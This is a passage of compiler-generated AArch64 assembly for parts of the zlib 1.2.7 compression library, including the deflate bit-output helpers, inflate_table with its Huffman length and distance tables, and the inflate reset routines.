mov w19, 0
.L709:
ldr w0, [sp, 28]
and w0, w0, 1
orr w19, w19, w0
ldr w0, [sp, 28]
lsr w0, w0, 1
str w0, [sp, 28]
lsl w19, w19, 1
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 24]
ldr w0, [sp, 24]
cmp w0, 0
ble .L712
b .L709
.L712:
nop
lsr w0, w19, 1
str w0, [sp, 44]
ldr w0, [sp, 44]
ldr x19, [sp], 48
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE68:
.size bi_reverse, .-bi_reverse
.align 2
.type bi_flush, %function
bi_flush:
.LFB69:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
ldr w0, [x0, 5924]
cmp w0, 16
bne .L714
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 24]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w2, [x0, 5920]
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 28]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 28]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
strh wzr, [x0, 5920]
ldr x0, [sp, 8]
str wzr, [x0, 5924]
b .L717
.L714:
ldr x0, [sp, 8]
ldr w0, [x0, 5924]
cmp w0, 7
ble .L717
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 20]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w2, [x0, 5920]
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 20]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w1, w0, 65535
ldr x0, [sp, 8]
strh w1, [x0, 5920]
ldr x0, [sp, 8]
ldr w0, [x0, 5924]
sub w1, w0, #8
ldr x0, [sp, 8]
str w1, [x0, 5924]
nop
.L717:
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE69:
.size bi_flush, .-bi_flush
.align 2
.type bi_windup, %function
bi_windup:
.LFB70:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
ldr w0, [x0, 5924]
cmp w0, 8
ble .L719
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 24]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w2, [x0, 5920]
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 28]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w0, [x0, 5920]
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 28]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
b .L720
.L719:
ldr x0, [sp, 8]
ldr w0, [x0, 5924]
cmp w0, 0
ble .L720
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 20]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldrh w2, [x0, 5920]
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 20]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
.L720:
ldr x0, [sp, 8]
strh wzr, [x0, 5920]
ldr x0, [sp, 8]
str wzr, [x0, 5924]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE70:
.size bi_windup, .-bi_windup
.align 2
.type copy_block, %function
copy_block:
.LFB71:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str w2, [sp, 28]
str w3, [sp, 24]
ldr x0, [sp, 40]
bl bi_windup
ldr w0, [sp, 24]
cmp w0, 0
beq .L726
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 48]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 48]
add x0, x1, x0
ldr w1, [sp, 28]
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 52]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr w0, [sp, 28]
and w0, w0, 65535
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 52]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 56]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr w0, [sp, 28]
and w1, w0, 255
ldr x0, [sp, 40]
ldr x2, [x0, 16]
ldr w0, [sp, 56]
add x0, x2, x0
mvn w1, w1
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 60]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr w0, [sp, 28]
and w0, w0, 65535
mvn w0, w0
and w0, w0, 65535
lsr w0, w0, 8
and w2, w0, 65535
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 60]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
.L726:
ldr w0, [sp, 28]
str w0, [sp, 64]
ldr w0, [sp, 28]
sub w0, w0, #1
str w0, [sp, 28]
ldr w0, [sp, 64]
cmp w0, 0
beq .L729
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 68]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 32]
str x0, [sp, 72]
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr w0, [sp, 68]
add x0, x1, x0
ldr x1, [sp, 72]
ldrb w1, [x1]
strb w1, [x0]
b .L726
.L729:
nop
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE71:
.size copy_block, .-copy_block
.global inflate_copyright
.section .rodata
.align 3
.type inflate_copyright, %object
.size inflate_copyright, 47
inflate_copyright:
.string " inflate 1.2.7 Copyright 1995-2012 Mark Adler "
.align 3
.type lbase, %object
.size lbase, 62
lbase:
.hword 3
.hword 4
.hword 5
.hword 6
.hword 7
.hword 8
.hword 9
.hword 10
.hword 11
.hword 13
.hword 15
.hword 17
.hword 19
.hword 23
.hword 27
.hword 31
.hword 35
.hword 43
.hword 51
.hword 59
.hword 67
.hword 83
.hword 99
.hword 115
.hword 131
.hword 163
.hword 195
.hword 227
.hword 258
.hword 0
.hword 0
.align 3
.type lext, %object
.size lext, 62
lext:
.hword 16
.hword 16
.hword 16
.hword 16
.hword 16
.hword 16
.hword 16
.hword 16
.hword 17
.hword 17
.hword 17
.hword 17
.hword 18
.hword 18
.hword 18
.hword 18
.hword 19
.hword 19
.hword 19
.hword 19
.hword 20
.hword 20
.hword 20
.hword 20
.hword 21
.hword 21
.hword 21
.hword 21
.hword 16
.hword 78
.hword 68
.align 3
.type dbase, %object
.size dbase, 64
dbase:
.hword 1
.hword 2
.hword 3
.hword 4
.hword 5
.hword 7
.hword 9
.hword 13
.hword 17
.hword 25
.hword 33
.hword 49
.hword 65
.hword 97
.hword 129
.hword 193
.hword 257
.hword 385
.hword 513
.hword 769
.hword 1025
.hword 1537
.hword 2049
.hword 3073
.hword 4097
.hword 6145
.hword 8193
.hword 12289
.hword 16385
.hword 24577
.hword 0
.hword 0
.align 3
.type dext, %object
.size dext, 64
dext:
.hword 16
.hword 16
.hword 16
.hword 16
.hword 17
.hword 17
.hword 18
.hword 18
.hword 19
.hword 19
.hword 20
.hword 20
.hword 21
.hword 21
.hword 22
.hword 22
.hword 23
.hword 23
.hword 24
.hword 24
.hword 25
.hword 25
.hword 26
.hword 26
.hword 27
.hword 27
.hword 28
.hword 28
.hword 29
.hword 29
.hword 64
.hword 64
.text
.align 2
.global inflate_table
.hidden inflate_table
.type inflate_table, %function
inflate_table:
.LFB72:
.cfi_startproc
stp x29, x30, [sp, -256]!
.cfi_def_cfa_offset 256
.cfi_offset 29, -256
.cfi_offset 30, -248
mov x29, sp
str w0, [sp, 60]
str x1, [sp, 48]
str w2, [sp, 56]
str x3, [sp, 40]
str x4, [sp, 32]
str x5, [sp, 24]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 248]
mov x1, 0
str wzr, [sp, 84]
b .L731
.L732:
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 184
strh wzr, [x1, x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L731:
ldr w0, [sp, 84]
cmp w0, 15
bls .L732
str wzr, [sp, 88]
b .L733
.L734:
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 48]
add x0, x1, x0
ldrh w0, [x0]
sxtw x0, w0
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
ldr w1, [sp, 88]
lsl x1, x1, 1
ldr x2, [sp, 48]
add x1, x2, x1
ldrh w1, [x1]
add w0, w0, 1
and w2, w0, 65535
sxtw x0, w1
lsl x0, x0, 1
add x1, sp, 184
strh w2, [x1, x0]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L733:
ldr w1, [sp, 88]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L734
ldr x0, [sp, 32]
ldr w0, [x0]
str w0, [sp, 100]
mov w0, 15
str w0, [sp, 96]
b .L735
.L738:
ldr w0, [sp, 96]
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
cmp w0, 0
bne .L793
ldr w0, [sp, 96]
sub w0, w0, #1
str w0, [sp, 96]
.L735:
ldr w0, [sp, 96]
cmp w0, 0
bne .L738
b .L737
.L793:
nop
.L737:
ldr w1, [sp, 100]
ldr w0, [sp, 96]
cmp w1, w0
bls .L739
ldr w0, [sp, 96]
str w0, [sp, 100]
.L739:
ldr w0, [sp, 96]
cmp w0, 0
bne .L740
mov w0, 64
strb w0, [sp, 72]
mov w0, 1
strb w0, [sp, 73]
strh wzr, [sp, 74]
ldr x0, [sp, 40]
ldr x0, [x0]
str x0, [sp, 168]
ldr x0, [sp, 40]
ldr x0, [x0]
add x1, x0, 4
ldr x0, [sp, 40]
str x1, [x0]
ldr x0, [sp, 168]
ldr w1, [sp, 72]
str w1, [x0]
ldr x0, [sp, 40]
ldr x0, [x0]
str x0, [sp, 176]
ldr x0, [sp, 40]
ldr x0, [x0]
add x1, x0, 4
ldr x0, [sp, 40]
str x1, [x0]
ldr x0, [sp, 176]
ldr w1, [sp, 72]
str w1, [x0]
ldr x0, [sp, 32]
mov w1, 1
str w1, [x0]
str wzr, [sp, 80]
b .L741
.L740:
mov w0, 1
str w0, [sp, 92]
b .L742
.L745:
ldr w0, [sp, 92]
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
cmp w0, 0
bne .L794
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L742:
ldr w1, [sp, 92]
ldr w0, [sp, 96]
cmp w1, w0
bcc .L745
b .L744
.L794:
nop
.L744:
ldr w1, [sp, 100]
ldr w0, [sp, 92]
cmp w1, w0
bcs .L746
ldr w0, [sp, 92]
str w0, [sp, 100]
.L746:
mov w0, 1
str w0, [sp, 112]
mov w0, 1
str w0, [sp, 84]
b .L747
.L749:
ldr w0, [sp, 112]
lsl w0, w0, 1
str w0, [sp, 112]
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
mov w1, w0
ldr w0, [sp, 112]
sub w0, w0, w1
str w0, [sp, 112]
ldr w0, [sp, 112]
cmp w0, 0
bge .L748
mov w0, -1
str w0, [sp, 80]
b .L741
.L748:
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L747:
ldr w0, [sp, 84]
cmp w0, 15
bls .L749
ldr w0, [sp, 112]
cmp w0, 0
ble .L750
ldr w0, [sp, 60]
cmp w0, 0
bne .L751
mov w0, -1
str w0, [sp, 80]
b .L741
.L751:
ldr w0, [sp, 96]
cmp w0, 1
beq .L750
mov w0, -1
str w0, [sp, 80]
b .L741
.L750:
strh wzr, [sp, 218]
mov w0, 1
str w0, [sp, 84]
b .L752
.L753:
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 216
ldrh w1, [x1, x0]
ldr w0, [sp, 84]
lsl x0, x0, 1
add x2, sp, 184
ldrh w0, [x2, x0]
ldr w2, [sp, 84]
add w3, w2, 1
add w0, w1, w0
and w2, w0, 65535
uxtw x0, w3
lsl x0, x0, 1
add x1, sp, 216
strh w2, [x1, x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L752:
ldr w0, [sp, 84]
cmp w0, 14
bls .L753
str wzr, [sp, 88]
b .L754
.L756:
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 48]
add x0, x1, x0
ldrh w0, [x0]
cmp w0, 0
beq .L755
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 48]
add x0, x1, x0
ldrh w0, [x0]
sxtw x0, w0
lsl x0, x0, 1
add x1, sp, 216
ldrh w0, [x1, x0]
strh w0, [sp, 70]
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 48]
add x0, x1, x0
ldrh w0, [x0]
sxtw x0, w0
lsl x0, x0, 1
add x1, sp, 216
ldrh w0, [x1, x0]
ldr w1, [sp, 88]
lsl x1, x1, 1
ldr x2, [sp, 48]
add x1, x2, x1
ldrh w1, [x1]
add w0, w0, 1
and w2, w0, 65535
sxtw x0, w1
lsl x0, x0, 1
add x1, sp, 216
strh w2, [x1, x0]
ldrh w0, [sp, 70]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldr w1, [sp, 88]
and w1, w1, 65535
strh w1, [x0]
.L755:
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L754:
ldr w1, [sp, 88]
ldr w0, [sp, 56]
cmp w1, w0
bcc .L756
ldr w0, [sp, 60]
cmp w0, 0
beq .L757
ldr w0, [sp, 60]
cmp w0, 1
beq .L758
b .L790
.L757:
ldr x0, [sp, 24]
str x0, [sp, 160]
ldr x0, [sp, 160]
str x0, [sp, 152]
mov w0, 19
str w0, [sp, 136]
b .L760
.L758:
adrp x0, lbase
add x0, x0, :lo12:lbase
str x0, [sp, 152]
ldr x0, [sp, 152]
sub x0, x0, #514
str x0, [sp, 152]
adrp x0, lext
add x0, x0, :lo12:lext
str x0, [sp, 160]
ldr x0, [sp, 160]
sub x0, x0, #514
str x0, [sp, 160]
mov w0, 256
str w0, [sp, 136]
b .L760
.L790:
adrp x0, dbase
add x0, x0, :lo12:dbase
str x0, [sp, 152]
adrp x0, dext
add x0, x0, :lo12:dext
str x0, [sp, 160]
mov w0, -1
str w0, [sp, 136]
.L760:
str wzr, [sp, 120]
str wzr, [sp, 88]
ldr w0, [sp, 92]
str w0, [sp, 84]
ldr x0, [sp, 40]
ldr x0, [x0]
str x0, [sp, 144]
ldr w0, [sp, 100]
str w0, [sp, 104]
str wzr, [sp, 108]
mov w0, -1
str w0, [sp, 132]
ldr w0, [sp, 100]
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 116]
ldr w0, [sp, 116]
sub w0, w0, #1
str w0, [sp, 140]
ldr w0, [sp, 60]
cmp w0, 1
bne .L795
ldr w0, [sp, 116]
cmp w0, 851
bls .L796
mov w0, 1
str w0, [sp, 80]
b .L741
.L795:
nop
b .L761
.L796:
nop
.L761:
ldr w0, [sp, 60]
cmp w0, 2
bne .L786
ldr w0, [sp, 116]
cmp w0, 591
bls .L786
mov w0, 1
str w0, [sp, 80]
b .L741
.L786:
ldr w0, [sp, 84]
and w1, w0, 255
ldr w0, [sp, 108]
and w0, w0, 255
sub w0, w1, w0
and w0, w0, 255
strb w0, [sp, 73]
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
mov w1, w0
ldr w0, [sp, 136]
cmp w0, w1
ble .L764
strb wzr, [sp, 72]
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 74]
b .L765
.L764:
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
mov w1, w0
ldr w0, [sp, 136]
cmp w0, w1
bge .L766
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
and x0, x0, 65535
lsl x0, x0, 1
ldr x1, [sp, 160]
add x0, x1, x0
ldrh w0, [x0]
and w0, w0, 255
strb w0, [sp, 72]
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
and x0, x0, 65535
lsl x0, x0, 1
ldr x1, [sp, 152]
add x0, x1, x0
ldrh w0, [x0]
strh w0, [sp, 74]
b .L765
.L766:
mov w0, 96
strb w0, [sp, 72]
strh wzr, [sp, 74]
.L765:
ldr w1, [sp, 84]
ldr w0, [sp, 108]
sub w0, w1, w0
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 124]
ldr w0, [sp, 104]
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 128]
ldr w0, [sp, 128]
str w0, [sp, 92]
.L769:
ldr w1, [sp, 128]
ldr w0, [sp, 124]
sub w0, w1, w0
str w0, [sp, 128]
ldr w0, [sp, 108]
ldr w1, [sp, 120]
lsr w1, w1, w0
ldr w0, [sp, 128]
add w0, w1, w0
uxtw x0, w0
lsl x0, x0, 2
ldr x1, [sp, 144]
add x0, x1, x0
ldr w1, [sp, 72]
str w1, [x0]
ldr w0, [sp, 128]
cmp w0, 0
beq .L797
b .L769
.L797:
nop
ldr w0, [sp, 84]
sub w0, w0, #1
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 124]
b .L770
.L771:
ldr w0, [sp, 124]
lsr w0, w0, 1
str w0, [sp, 124]
.L770:
ldr w1, [sp, 120]
ldr w0, [sp, 124]
and w0, w1, w0
cmp w0, 0
bne .L771
ldr w0, [sp, 124]
cmp w0, 0
beq .L772
ldr w0, [sp, 124]
sub w0, w0, #1
ldr w1, [sp, 120]
and w0, w1, w0
str w0, [sp, 120]
ldr w1, [sp, 120]
ldr w0, [sp, 124]
add w0, w1, w0
str w0, [sp, 120]
b .L773
.L772:
str wzr, [sp, 120]
.L773:
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
sub w0, w0, #1
and w2, w0, 65535
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 184
strh w2, [x1, x0]
ldr w0, [sp, 84]
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
cmp w0, 0
bne .L774
ldr w1, [sp, 84]
ldr w0, [sp, 96]
cmp w1, w0
beq .L798
ldr w0, [sp, 88]
lsl x0, x0, 1
ldr x1, [sp, 24]
add x0, x1, x0
ldrh w0, [x0]
and x0, x0, 65535
lsl x0, x0, 1
ldr x1, [sp, 48]
add x0, x1, x0
ldrh w0, [x0]
str w0, [sp, 84]
.L774:
ldr w1, [sp, 84]
ldr w0, [sp, 100]
cmp w1, w0
bls .L786
ldr w1, [sp, 120]
ldr w0, [sp, 140]
and w0, w1, w0
ldr w1, [sp, 132]
cmp w1, w0
beq .L786
ldr w0, [sp, 108]
cmp w0, 0
bne .L778
ldr w0, [sp, 100]
str w0, [sp, 108]
.L778:
ldr w0, [sp, 92]
lsl x0, x0, 2
ldr x1, [sp, 144]
add x0, x1, x0
str x0, [sp, 144]
ldr w1, [sp, 84]
ldr w0, [sp, 108]
sub w0, w1, w0
str w0, [sp, 104]
ldr w0, [sp, 104]
mov w1, 1
lsl w0, w1, w0
str w0, [sp, 112]
b .L779
.L782:
ldr w1, [sp, 104]
ldr w0, [sp, 108]
add w0, w1, w0
uxtw x0, w0
lsl x0, x0, 1
add x1, sp, 184
ldrh w0, [x1, x0]
mov w1, w0
ldr w0, [sp, 112]
sub w0, w0, w1
str w0, [sp, 112]
ldr w0, [sp, 112]
cmp w0, 0
ble .L799
ldr w0, [sp, 104]
add w0, w0, 1
str w0, [sp, 104]
ldr w0, [sp, 112]
lsl w0, w0, 1
str w0, [sp, 112]
.L779:
ldr w1, [sp, 104]
ldr w0, [sp, 108]
add w0, w1, w0
ldr w1, [sp, 96]
cmp w1, w0
bhi .L782
b .L781
.L799:
nop
.L781:
ldr w0, [sp, 104]
mov w1, 1
lsl w0, w1, w0
ldr w1, [sp, 116]
add w0, w1, w0
str w0, [sp, 116]
ldr w0, [sp, 60]
cmp w0, 1
bne .L800
ldr w0, [sp, 116]
cmp w0, 851
bls .L801
mov w0, 1
str w0, [sp, 80]
b .L741
.L800:
nop
b .L783
.L801:
nop
.L783:
ldr w0, [sp, 60]
cmp w0, 2
bne .L785
ldr w0, [sp, 116]
cmp w0, 591
bls .L785
mov w0, 1
str w0, [sp, 80]
b .L741
.L785:
ldr w1, [sp, 120]
ldr w0, [sp, 140]
and w0, w1, w0
str w0, [sp, 132]
ldr x0, [sp, 40]
ldr x1, [x0]
ldr w0, [sp, 132]
lsl x0, x0, 2
add x0, x1, x0
ldr w1, [sp, 104]
and w1, w1, 255
strb w1, [x0]
ldr x0, [sp, 40]
ldr x1, [x0]
ldr w0, [sp, 132]
lsl x0, x0, 2
add x0, x1, x0
ldr w1, [sp, 100]
and w1, w1, 255
strb w1, [x0, 1]
ldr x0, [sp, 40]
ldr x0, [x0]
ldr x1, [sp, 144]
sub x0, x1, x0
asr x0, x0, 2
mov x2, x0
ldr x0, [sp, 40]
ldr x1, [x0]
ldr w0, [sp, 132]
lsl x0, x0, 2
add x0, x1, x0
and w1, w2, 65535
strh w1, [x0, 2]
b .L786
.L798:
nop
ldr w0, [sp, 120]
cmp w0, 0
beq .L787
mov w0, 64
strb w0, [sp, 72]
ldr w0, [sp, 84]
and w1, w0, 255
ldr w0, [sp, 108]
and w0, w0, 255
sub w0, w1, w0
and w0, w0, 255
strb w0, [sp, 73]
strh wzr, [sp, 74]
ldr w0, [sp, 120]
lsl x0, x0, 2
ldr x1, [sp, 144]
add x0, x1, x0
ldr w1, [sp, 72]
str w1, [x0]
.L787:
ldr x0, [sp, 40]
ldr x1, [x0]
ldr w0, [sp, 116]
lsl x0, x0, 2
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0]
ldr x0, [sp, 32]
ldr w1, [sp, 100]
str w1, [x0]
str wzr, [sp, 80]
.L741:
ldr w0, [sp, 80]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 248]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L789
bl __stack_chk_fail
.L789:
mov w0, w1
ldp x29, x30, [sp], 256
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE72:
.size inflate_table, .-inflate_table
.align 2
.global inflateResetKeep
.type inflateResetKeep, %function
inflateResetKeep:
.LFB73:
.cfi_startproc
sub sp, sp, #64
.cfi_def_cfa_offset 64
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bne .L803
mov w0, -2
str w0, [sp, 20]
b .L804
.L803:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L805
mov w0, -2
str w0, [sp, 20]
b .L804
.L805:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 24]
str xzr, [sp, 32]
ldr x0, [sp, 24]
ldr x1, [sp, 32]
str x1, [x0, 32]
ldr x0, [sp, 32]
str x0, [sp, 40]
ldr x0, [sp, 8]
ldr x1, [sp, 40]
str x1, [x0, 40]
ldr x0, [sp, 8]
ldr x1, [sp, 40]
str x1, [x0, 16]
ldr x0, [sp, 8]
str xzr, [x0, 48]
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
beq .L806
ldr x0, [sp, 24]
ldr w0, [x0, 8]
uxtw x0, w0
and x1, x0, 1
ldr x0, [sp, 8]
str x1, [x0, 96]
.L806:
ldr x0, [sp, 24]
str wzr, [x0]
ldr x0, [sp, 24]
str wzr, [x0, 4]
ldr x0, [sp, 24]
str wzr, [x0, 12]
ldr x0, [sp, 24]
mov w1, 32768
str w1, [x0, 20]
ldr x0, [sp, 24]
str xzr, [x0, 40]
ldr x0, [sp, 24]
str xzr, [x0, 72]
ldr x0, [sp, 24]
str wzr, [x0, 80]
ldr x0, [sp, 24]
add x0, x0, 1360
str x0, [sp, 48]
ldr x0, [sp, 24]
ldr x1, [sp, 48]
str x1, [x0, 136]
ldr x0, [sp, 48]
str x0, [sp, 56]
ldr x0, [sp, 24]
ldr x1, [sp, 56]
str x1, [x0, 104]
ldr x0, [sp, 24]
ldr x1, [sp, 56]
str x1, [x0, 96]
ldr x0, [sp, 24]
mov w1, 1
str w1, [x0, 7136]
ldr x0, [sp, 24]
mov w1, -1
str w1, [x0, 7140]
str wzr, [sp, 20]
.L804:
ldr w0, [sp, 20]
add sp, sp, 64
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE73:
.size inflateResetKeep, .-inflateResetKeep
.align 2
.global inflateReset
.type inflateReset, %function
inflateReset:
.LFB74:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L809
mov w0, -2
str w0, [sp, 32]
b .L810
.L809:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L811
mov w0, -2
str w0, [sp, 32]
b .L810
.L811:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
str wzr, [x0, 52]
ldr x0, [sp, 40]
str wzr, [x0, 56]
ldr x0, [sp, 40]
str wzr, [x0, 60]
ldr x0, [sp, 24]
bl inflateResetKeep
str w0, [sp, 36]
ldr w0, [sp, 36]
str w0, [sp, 32]
.L810:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE74:
.size inflateReset, .-inflateReset
.align 2
.global inflateReset2
.type inflateReset2, %function
inflateReset2:
.LFB75:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
cmp x0, 0
bne .L814
mov w0, -2
str w0, [sp, 44]
b .L815
.L814:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L816
mov w0, -2
str w0, [sp, 44]
b .L815
.L816:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 56]
ldr w0, [sp, 20]
cmp w0, 0
bge .L817
str wzr, [sp, 48]
ldr w0, [sp, 20]
neg w0, w0
str w0, [sp, 20]
b .L818
.L817:
ldr w0, [sp, 20]
asr w0, w0, 4
add w0, w0, 1
str w0, [sp, 48]
ldr w0, [sp, 20]
cmp w0, 47
bgt .L818
ldr w0, [sp, 20]
and w0, w0, 15
str w0, [sp, 20]
.L818:
ldr w0, [sp, 20]
cmp w0, 0
beq .L819
ldr w0, [sp, 20]
cmp w0, 7
bgt .L820
mov w0, -2
str w0, [sp, 44]
b .L815
.L820:
ldr w0, [sp, 20]
cmp w0, 15
ble .L819
mov w0, -2
str w0, [sp, 44]
b .L815
.L819:
ldr x0, [sp, 56]
ldr x0, [x0, 64]
cmp x0, 0
beq .L821
ldr x0, [sp, 56]
ldr w1, [x0, 48]
ldr w0, [sp, 20]
cmp w1, w0
beq .L821
